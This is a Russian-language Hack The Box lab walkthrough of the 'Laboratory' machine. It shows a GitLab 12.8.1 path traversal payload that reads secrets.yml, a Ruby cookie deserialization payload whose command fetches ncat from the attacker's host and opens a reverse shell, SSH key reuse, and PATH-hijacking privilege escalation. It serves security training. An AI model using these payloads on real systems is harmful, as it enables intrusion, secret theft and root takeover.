HTB Laboratory. Взламываем GitLab и учимся перехватывать пути в Linux

Spread the love

ВНИМАНИЕ!!!! АВТОР ДАННОЙ СТАТЬИ НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБЫЕ ДЕЙСТВИЯ ОТ ЕЕ ПРОЧТЕНИЯ. ВСЕ МАТЕРИАЛЫ ПРЕДОСТАВЛЕНЫ В ИСКЛЮЧИТЕЛЬНО ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ!

В этот раз мы раз­берем лег­кую машину — Laboratory. На при­мере ее про­хож­дения ты научишь­ся экс­плу­ати­ровать уяз­вимость в GitLab для про­изволь­ного чте­ния фай­лов и уда­лен­ного выпол­нения кода. Так­же мы покопа­емся в репози­тори­ях и повысим при­виле­гии с помощью тех­ники path hijacking.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

IP-адрес машины — 10.10.10.216, я при помощи строч­ки в /etc/hosts дам ей имя laboratory.htb.

Пер­вым делом, конеч­но же, ска­ниру­ем пор­ты, что­бы понять, какие сер­висы запуще­ны на машине. В скрип­те ниже ути­лита Nmap вызыва­ется дваж­ды: для быс­тро­го ска­ниро­вания и затем что­бы прой­тись по най­ден­ным пор­там с при­мене­нием скрип­тов.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Ре­зуль­тат работы скрип­та

Наш­лось три откры­тых пор­та:

  • порт 22 (TCP) — служ­ба SSH;
  • порт 80 (HTTP) — веб‑сер­вер Apache 2.4.41;
  • порт 443 (HTTPS) — веб‑сер­вер Apache 2.4.41.

Ска­ниро­вание пор­та 443 пре­под­носит нам при­ятный сюр­приз. Пос­коль­ку он отве­чает за обще­ние по зашиф­рован­ному про­токо­лу, в отче­те о ска­ниро­вании мож­но най­ти сер­тификат, а в сер­тифика­те еще один домен — git.laboratory.htb. Я тоже добав­лю его в /etc/hosts:

10.10.10.216    git.laboratory.htb

При обра­щении по домену laboratory.htb мы ничего инте­рес­ного не получа­ем, а вот на най­ден­ном git.laboratory.htb нас встре­чает GitLab.

Сканирование веба

GitLab — это сис­тема управле­ния репози­тори­ями кода для Git с собс­твен­ной вики, сис­темой отсле­жива­ния оши­бок и дру­гими фун­кци­ями.

Стра­ница авто­риза­ции GitLab

У нас есть воз­можность зарегис­три­ровать­ся, что сра­зу и сде­лаем. Это поз­волит нам получить дос­туп к боль­шему чис­лу фун­кций, чем у гос­тей. Пос­коль­ку мы име­ем дело с серь­езным про­ектом, «тыкать кавыч­ки» в каж­дую фор­му смыс­ла нет. Вмес­то это­го сто­ит поис­кать информа­цию об уяз­вимос­тях и готовые экс­пло­иты. Пер­вый шаг на пути к это­му — узнать вер­сию про­дук­та. Обыч­но она при­водит­ся на стра­ницах вро­де About или в дан­ном слу­чае — Help.

Ис­поль­зуемая вер­сия GitLab

Мы узна­ем вер­сию GitLab CE — 12.8.1.

ТОЧКА ВХОДА

В реаль­ных усло­виях луч­ше все­го искать экс­пло­иты при помощи Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Но для уско­рения мож­но поль­зовать­ся спе­циали­зиро­ван­ными базами вро­де Exploit-DB — ско­рее все­го, там най­дут­ся под­ходящие вари­анты. Если ты исполь­зуешь Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

По­иск экс­пло­итов для GitLab с помощью searchsploit

Как видишь, мы наш­ли сра­зу нес­коль­ко экс­пло­итов, хотя для нуж­ной вер­сии GitLab ничего нет. Зато есть для более новой (номер 48431), а зна­чит, ско­рее все­го, подой­дет и к нашей.

Экс­плу­ати­руемая уяз­вимость сра­баты­вает при переме­щении задачи меж­ду про­екта­ми GitLab и при­водит к тому, что мы можем читать фай­лы на уда­лен­ной машине. Одна­ко у меня ни одна из реали­заций это­го экс­пло­ита не зарабо­тала, поэто­му при­дет­ся все делать в руч­ном режиме.

Для это­го нам нуж­но изна­чаль­ное иссле­дова­ние, доказа­тель­ство работос­пособ­ности (proof of concept) этой уяз­вимос­ти. Что­бы най­ти его, обра­щаем­ся в Google. Нам повез­ло, на HackerOne (самая извес­тная плат­форма для bug bounty) нашел­ся це­лый отчет. В нем рас­ска­зано, как не толь­ко читать фай­лы, но и получить уда­лен­ное выпол­нение кода (RCE)!

По­иск PoC на HackerOne

Для получе­ния RCE нам нуж­но иметь кон­соль Ruby on Rails и зна­чение secret_key_base из фай­ла /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. Имен­но для получе­ния содер­жимого это­го фай­ла мы будем исполь­зовать пер­вую уяз­вимость, которая поз­воля­ет читать про­изволь­ные фай­лы.

ЗАКРЕПЛЕНИЕ

Итак, чита­ем файл. Соз­дадим два про­екта в GitLab, а потом перей­дем к вклад­ке Issues и выберем New Issue. Там ука­зыва­ем сле­дующее зна­чение в качес­тве опи­сания и таким обра­зом вос­поль­зуем­ся уяз­вимостью типа path traversal.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Стра­ница соз­данно­го про­екта
Стра­ница New Issue

Да­лее необ­ходимо ука­зать целевой про­ект (который мы соз­дали вто­рым), пос­ле чего secrets.yml мож­но будет заг­ружать. Так мы получа­ем нуж­ный для RCE сек­ретный параметр.

Вы­бор опции переме­щения задачи
Вы­бор про­екта для переме­щения задачи
Дос­тупный для заг­рузки файл, пред­став­ленный в качес­тве вло­жения
Со­дер­жимое фай­ла secrets.yml

Прис­тупим к получе­нию уда­лен­ного выпол­нения кода. Для это­го нам нуж­но уста­новить gitlab-rails в Docker. Пос­ле уста­нов­ки запус­каем.

sudo docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0
sudo docker images
sudo docker run 719e7e45b1e2
За­пуск GitLab Docker Image

А теперь выпол­ним bash в дан­ном обра­зе.

sudo docker ps
sudo docker exec -ti 2b2261d24147 bash
По­луче­ние спис­ка запущен­ных кон­тей­неров
Вы­пол­нение bash в соз­данном кон­тей­нере

Нам нуж­но заменить файл /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml тем, который мы смог­ли получить с уда­лен­ного хос­та. Заг­ружа­ем кон­соль коман­дой gilab-rails console и выпол­няем коман­ды, ука­зан­ные в отче­те. Сна­чала запус­тим лис­тенер. Я советую исполь­зовать обо­лоч­ку rlwrap, а в качес­тве самого лис­тенера исполь­зуем извес­тный netcat.

apt install rlwrap
rlwrap nc -lvp [port]

Спо­собы соз­дать бэк­коннект‑шелл не сра­бота­ли, а вот коман­да wget выпол­нилась, поэто­му для соз­дания бэк­коннек­та я заг­рузил со сво­его хос­та ста­тичес­ки соб­ранный ncat, наз­начил ему пра­ва на выпол­нение и успешно под­клю­чил­ся.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `wget 10.10.14.75:8000/ncat -O /tmp/ncat ; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.75 4321` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Пос­ле выпол­нения это­го кода мы получим cookie, с помощью которых соз­дадим бэк­коннект.

curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhv...--...be65"
По­луче­ние бэк­коннек­та

Что­бы получить инте­рак­тивный реверс‑шелл, про­дуб­лиру­ем бэк­коннект из уже соз­данно­го.

ПРОДВИЖЕНИЕ

Пос­коль­ку мы име­ем дело с GitLab, пер­вым делом про­веря­ем репози­тории. Для удобс­тва бэкапим, заг­ружа­ем на свой хост, а там уже ана­лизи­руем.

gitlab-backup
Соз­дание бэкапа GitLab

Мое вни­мание сра­зу прив­лек репози­торий с кри­чащим наз­вани­ем securewebsite поль­зовате­ля dexter. Пос­ле заг­рузки архи­ва на свой хост находим в нем ключ SSH.

Прос­мотр содер­жимого репози­тория

За­даем это­му клю­чу нуж­ные пра­ва и уже можем под­клю­чить­ся по SSH.

chmod 0600 id_rsa
ssh -i id_rsa dexter@laboratory.htb
То­кен поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь в ход идут скрип­ты PEASS, которые помога­ют най­ти путь для даль­нейше­го прод­вижения. Запус­каем на хос­те LinPEAS и находим при­ложе­ние с выс­тавлен­ным битом SUID.

Об­наружен­ный файл docker-security с выс­тавлен­ным битом SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid, обыч­ный поль­зователь, запус­кающий этот файл на исполне­ние, получа­ет повыше­ние прав до поль­зовате­ля‑вла­дель­ца фай­ла (в дан­ном слу­чае root) в рам­ках запущен­ного про­цес­са.

Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, выпол­нение которых обыч­ному поль­зовате­лю недос­тупно. В базе GTFOBins это­го фай­ла не находим, поэто­му пос­мотрим, исполь­зует ли это при­ложе­ние еще какие‑нибудь вызовы.

INFO

GTFOBins — база дво­ичных фай­лов Unix, которые мож­но исполь­зовать для обхо­да локаль­ных огра­ниче­ний безопас­ности в неп­равиль­но нас­тро­енных сис­темах.

Что­бы пос­мотреть вызовы, которые при­ложе­ние дела­ет к общим биб­лиоте­кам, исполь­зуем ltrace.

Об­щие вызовы docker-security

Из вывода ltrace видим, что при вызове коман­ды chmod ука­зыва­ется непол­ный путь к фай­лу прог­раммы. А это зна­чит, что сис­тема будет пооче­ред­но искать этот файл в каж­дой из дирек­торий, которые ука­заны в перемен­ной окру­жения PATH.

С помощью коман­ды export мы можем дописать в начало перемен­ной путь к любой сво­ей дирек­тории, тог­да сис­тема сна­чала выпол­нит тот chmod, который будет там рас­положен. В этот файл мы запишем какой угод­но свой код. К при­меру, вызов bash. Это даст нам кон­соль в кон­тек­сте root. Этот метод известен как path hijacking.

Cоз­даем свой шелл в дирек­тории /tmp и называ­ем chmod, пос­ле чего добавим дирек­торию /tmp в перемен­ную сре­ды PATH, что­бы при вызове коман­ды chmod выпол­нился наш файл.

Экс­плу­ата­ция path hijacking

Пос­ле выпол­нения docker-security мы получим при­виле­гиро­ван­ную кон­соль.

То­кен root

Ма­шина зах­вачена, у нас есть пол­ный кон­троль над ней.

Добавить комментарий

WP2Social Auto Publish Powered By : XYZScripts.com